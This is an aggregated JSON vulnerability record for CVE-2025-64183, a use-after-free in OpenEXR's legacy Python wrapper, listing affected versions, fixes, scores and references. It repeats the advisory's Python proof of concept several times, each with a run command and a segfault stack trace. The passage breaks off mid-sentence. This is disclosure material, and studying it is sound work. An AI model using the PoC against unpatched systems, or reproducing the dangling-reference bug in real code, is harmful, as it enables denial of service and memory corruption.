{"id":"CVE-2025-64183","aliases":["EUVD-2025-50826","GHSA-57cw-j6vp-2p9m","JLSEC-2026-139","PYSEC-2026-2844","UBUNTU-CVE-2025-64183","openSUSE-SU-2025:15741-1"],"status":"published","title":"OpenEXR has use after free in PyObject_StealAttrString","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, there is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp. The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.) Versions 3.2.5, 3.3.6, and 3.4.3 fix the issue.","severity":{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00322,"percentile":0.25394,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-416"],"published":"2025-11-10T21:29:54Z","modified":"2026-10-28T02:30:38Z","fixes":[{"ecosystem":"PyPI","package":"openexr","fixed_in":["3.2.5","3.3.6","3.4.3"],"sources":["ghsa","osv"]},{"ecosystem":"Julia","package":"OpenEXR_jll","fixed_in":["3.4.4+0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"fixed":"3.2.5"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.3.6"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.0"},{"fixed":"3.4.3"}]}]},{"source":"osv","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"fixed":"3.2.5"}]}],"versions":["3.2.3","3.2.4"]},{"source":"osv","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.3.6"}]}],"versions":["3.3.0","3.3.1","3.3.2","3.3.3","3.3.4","3.3.5"]},{"source":"osv","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.0"},{"fixed":"3.4.3"}]}],"versions":["3.4.0","3.4.1","3.4.2"]},{"source":"osv","ecosystem":"Julia","package":"OpenEXR_jll","ranges":[{"type":"SEMVER","events":[{"introduced":"3.1.4+0"},{"fixed":"3.4.4+0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"fixed":"3.2.5"},{"introduced":"3.3.0"},{"fixed":"3.3.6"},{"introduced":"3.4.0"},{"fixed":"3.4.3"}]}],"versions":["3.2.3","3.2.4","3.3.0","3.3.1","3.3.2","3.3.3","3.3.4","3.3.5","3.4.0","3.4.1","3.4.2"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.3-1.1"}]}],"bundled":3}],"products":[{"vendor":"academysoftwarefoundation","product":"openexr"},{"vendor":"openexr","product":"openexr"}],"references":[{"url":"https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-57cw-j6vp-2p9m","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115","tags":["x_refsource_MISC","Product","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64183","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-57cw-j6vp-2p9m","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/64xxx/CVE-2025-64183.json","tags":["advisory"]},{"url":"https://github.com/AcademySoftwareFoundation/openexr","tags":["package"]},{"url":"https://pypi.org/project/openexr","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2025-64183","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-64183","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2025-64181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-64182","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-64183","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2025-64183","title":"OpenEXR has use after free in PyObject_StealAttrString","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, there is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp. The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.) Versions 3.2.5, 3.3.6, and 3.4.3 fix the issue.","status":"published","published":"2025-11-10T21:29:54.234Z","modified":"2025-11-14T18:38:32.682Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium","assessor":"cna"}],"cwes":["CWE-416"],"updated_at":"2026-11-02T14:32:46.750177Z"}],"euvd":[{"id":"EUVD-2025-50826","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, there is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp. The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.) Versions 3.2.5, 3.3.6, and 3.4.3 fix the issue.","status":"published","published":"2025-11-10T21:29:54Z","modified":"2025-11-14T18:38:32Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium"}],"updated_at":"2026-11-02T19:49:16.95916Z"}],"ghsa":[{"id":"GHSA-57cw-j6vp-2p9m","title":"OpenEXR has use after free in PyObject_StealAttrString","description":"### Summary\nThere is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.\n\nThis bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).\n\n### Details\n\nThe legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286\n\n### PoC\n\n```py\nimport OpenEXR, Imath\n\n# Any small EXR will do - use one from OpenEXR test images or any project file\npath = \"any_small.exr\"\n\n# Property returns a fresh temporary int subclass, so the buggy helper\n# decrefs it to zero before passing it to PyLong_AsLong =\u003e UAF.\nclass FreshInt(int):\n    def __new__(cls, v):\n        return int.__new__(cls, v)\n    def __del__(self):\n        # stir the heap to make the UAF obvious under PYTHONMALLOC=debug\n        _ = bytearray(1_000_000)\n\nclass PixelTypeProxy:\n    @property\n    def v(self):\n        return FreshInt(Imath.PixelType.FLOAT)  # any small value is fine\n\nf = OpenEXR.InputFile(path)\n# channel() forces the wrapper to read pixel_type.v using the buggy helper\n# which returns a dangling pointer\nprint(\"About to trigger UAF...\")\nf.channel(\"R\", pixel_type=PixelTypeProxy())\nprint(\"If you get here without a crash, try again with AddressSanitizer.\")\n```\nrunning\n\n```shell\nPYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py\n```\n\n```\nAbout to trigger UAF...\nFatal Python error: Segmentation fault\n\nCurrent thread 0x00000001f209a140 (most recent call first):\n  File \"/private/tmp/i/pt.py\", line 24 in \u003cmodule\u003e\n\nCurrent thread's C stack trace (most recent call first):\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _Py_DumpStack+0x44 [0x1058c00f8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at faulthandler_fatal_error+0x160 [0x1058d2e00]\n  Binary file \"/usr/lib/system/libsystem_platform.dylib\", at _sigtramp+0x38 [0x1841796a4]\n  Binary file \"/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so\", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]\n  Binary file \"/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so\", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at PyObject_Vectorcall+0x58 [0x1056f5044]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at PyEval_EvalCode+0xf8 [0x105827130]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at run_mod+0xac [0x1058a2b60]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pyrun_file+0xa4 [0x1058a123c]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyRun_AnyFileObject+0x50 [0x1058a0424]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_run_file_obj+0xa4 [0x1058cfcd8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_run_file+0x48 [0x1058cfa20]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at Py_RunMain+0x354 [0x1058cef60]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_main+0xe8 [0x1058cf3f8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at Py_BytesMain+0x28 [0x1058cf494]\n  Binary file \"/usr/lib/dyld\", at start+0x17bc [0x183d9eb98]\n\nExtension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)\nSegmentation fault: 11     PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py\n```\n\n### Impact\n\nCompletely depends on the context. Typical memory stuff related to UAFs.","status":"published","published":"2026-04-06T17:51:23Z","modified":"2026-04-06T17:51:24Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-416"],"updated_at":"2026-11-02T14:39:48.966685Z"}],"nvd":[{"id":"CVE-2025-64183","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, there is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp. The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.) Versions 3.2.5, 3.3.6, and 3.4.3 fix the issue.","status":"published","published":"2025-11-10T22:15:37.323Z","modified":"2026-06-17T09:53:58.397Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-416"],"updated_at":"2026-11-02T14:11:42.870953Z"}],"osv":[{"id":"CVE-2025-64183","title":"OpenEXR has use after free in PyObject_StealAttrString","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, there is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp. The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.) Versions 3.2.5, 3.3.6, and 3.4.3 fix the issue.","status":"published","published":"2025-11-10T21:29:54.234Z","modified":"2026-10-28T02:30:38.475868433Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-416"],"updated_at":"2026-11-02T15:44:51.851511Z"},{"id":"GHSA-57cw-j6vp-2p9m","title":"OpenEXR has use after free in PyObject_StealAttrString","description":"### Summary\nThere is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.\n\nThis bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).\n\n### Details\n\nThe legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286\n\n### PoC\n\n```py\nimport OpenEXR, Imath\n\n# Any small EXR will do - use one from OpenEXR test images or any project file\npath = \"any_small.exr\"\n\n# Property returns a fresh temporary int subclass, so the buggy helper\n# decrefs it to zero before passing it to PyLong_AsLong =\u003e UAF.\nclass FreshInt(int):\n    def __new__(cls, v):\n        return int.__new__(cls, v)\n    def __del__(self):\n        # stir the heap to make the UAF obvious under PYTHONMALLOC=debug\n        _ = bytearray(1_000_000)\n\nclass PixelTypeProxy:\n    @property\n    def v(self):\n        return FreshInt(Imath.PixelType.FLOAT)  # any small value is fine\n\nf = OpenEXR.InputFile(path)\n# channel() forces the wrapper to read pixel_type.v using the buggy helper\n# which returns a dangling pointer\nprint(\"About to trigger UAF...\")\nf.channel(\"R\", pixel_type=PixelTypeProxy())\nprint(\"If you get here without a crash, try again with AddressSanitizer.\")\n```\nrunning\n\n```shell\nPYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py\n```\n\n```\nAbout to trigger UAF...\nFatal Python error: Segmentation fault\n\nCurrent thread 0x00000001f209a140 (most recent call first):\n  File \"/private/tmp/i/pt.py\", line 24 in \u003cmodule\u003e\n\nCurrent thread's C stack trace (most recent call first):\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _Py_DumpStack+0x44 [0x1058c00f8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at faulthandler_fatal_error+0x160 [0x1058d2e00]\n  Binary file \"/usr/lib/system/libsystem_platform.dylib\", at _sigtramp+0x38 [0x1841796a4]\n  Binary file \"/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so\", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]\n  Binary file \"/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so\", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at PyObject_Vectorcall+0x58 [0x1056f5044]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at PyEval_EvalCode+0xf8 [0x105827130]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at run_mod+0xac [0x1058a2b60]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pyrun_file+0xa4 [0x1058a123c]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyRun_AnyFileObject+0x50 [0x1058a0424]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_run_file_obj+0xa4 [0x1058cfcd8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_run_file+0x48 [0x1058cfa20]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at Py_RunMain+0x354 [0x1058cef60]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_main+0xe8 [0x1058cf3f8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at Py_BytesMain+0x28 [0x1058cf494]\n  Binary file \"/usr/lib/dyld\", at start+0x17bc [0x183d9eb98]\n\nExtension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)\nSegmentation fault: 11     PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py\n```\n\n### Impact\n\nCompletely depends on the context. Typical memory stuff related to UAFs.","status":"published","published":"2026-04-06T17:51:23Z","modified":"2026-07-13T16:42:51.62637757Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-416"],"updated_at":"2026-11-02T15:46:37.864461Z"},{"id":"JLSEC-2026-139","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, there is a use-after-free in `PyObject_StealAttrString` of `pyOpenEXR_old.cpp`. The legacy adapter defines `PyObject_StealAttrString` that calls `PyObject_GetAttrString` to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like `PyLong_AsLong/PyFloat_AsDouble`, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.) Versions 3.2.5, 3.3.6, and 3.4.3 fix the issue.","status":"published","published":"2026-04-17T15:19:54.657Z","modified":"2026-07-25T18:23:47.305269388Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"updated_at":"2026-11-02T15:47:18.159338Z"},{"id":"PYSEC-2026-2844","title":"OpenEXR has use after free in PyObject_StealAttrString","description":"### Summary\nThere is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.\n\nThis bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).\n\n### Details\n\nThe legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286\n\n### PoC\n\n```py\nimport OpenEXR, Imath\n\n# Any small EXR will do - use one from OpenEXR test images or any project file\npath = \"any_small.exr\"\n\n# Property returns a fresh temporary int subclass, so the buggy helper\n# decrefs it to zero before passing it to PyLong_AsLong =\u003e UAF.\nclass FreshInt(int):\n    def __new__(cls, v):\n        return int.__new__(cls, v)\n    def __del__(self):\n        # stir the heap to make the UAF obvious under PYTHONMALLOC=debug\n        _ = bytearray(1_000_000)\n\nclass PixelTypeProxy:\n    @property\n    def v(self):\n        return FreshInt(Imath.PixelType.FLOAT)  # any small value is fine\n\nf = OpenEXR.InputFile(path)\n# channel() forces the wrapper to read pixel_type.v using the buggy helper\n# which returns a dangling pointer\nprint(\"About to trigger UAF...\")\nf.channel(\"R\", pixel_type=PixelTypeProxy())\nprint(\"If you get here without a crash, try again with AddressSanitizer.\")\n```\nrunning\n\n```shell\nPYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py\n```\n\n```\nAbout to trigger UAF...\nFatal Python error: Segmentation fault\n\nCurrent thread 0x00000001f209a140 (most recent call first):\n  File \"/private/tmp/i/pt.py\", line 24 in \u003cmodule\u003e\n\nCurrent thread's C stack trace (most recent call first):\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _Py_DumpStack+0x44 [0x1058c00f8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at faulthandler_fatal_error+0x160 [0x1058d2e00]\n  Binary file \"/usr/lib/system/libsystem_platform.dylib\", at _sigtramp+0x38 [0x1841796a4]\n  Binary file \"/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so\", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]\n  Binary file \"/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so\", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at PyObject_Vectorcall+0x58 [0x1056f5044]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at PyEval_EvalCode+0xf8 [0x105827130]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at run_mod+0xac [0x1058a2b60]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pyrun_file+0xa4 [0x1058a123c]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyRun_AnyFileObject+0x50 [0x1058a0424]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_run_file_obj+0xa4 [0x1058cfcd8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_run_file+0x48 [0x1058cfa20]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at Py_RunMain+0x354 [0x1058cef60]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_main+0xe8 [0x1058cf3f8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at Py_BytesMain+0x28 [0x1058cf494]\n  Binary file \"/usr/lib/dyld\", at start+0x17bc [0x183d9eb98]\n\nExtension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)\nSegmentation fault: 11     PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py\n```\n\n### Impact\n\nCompletely depends on the context. Typical memory stuff related to 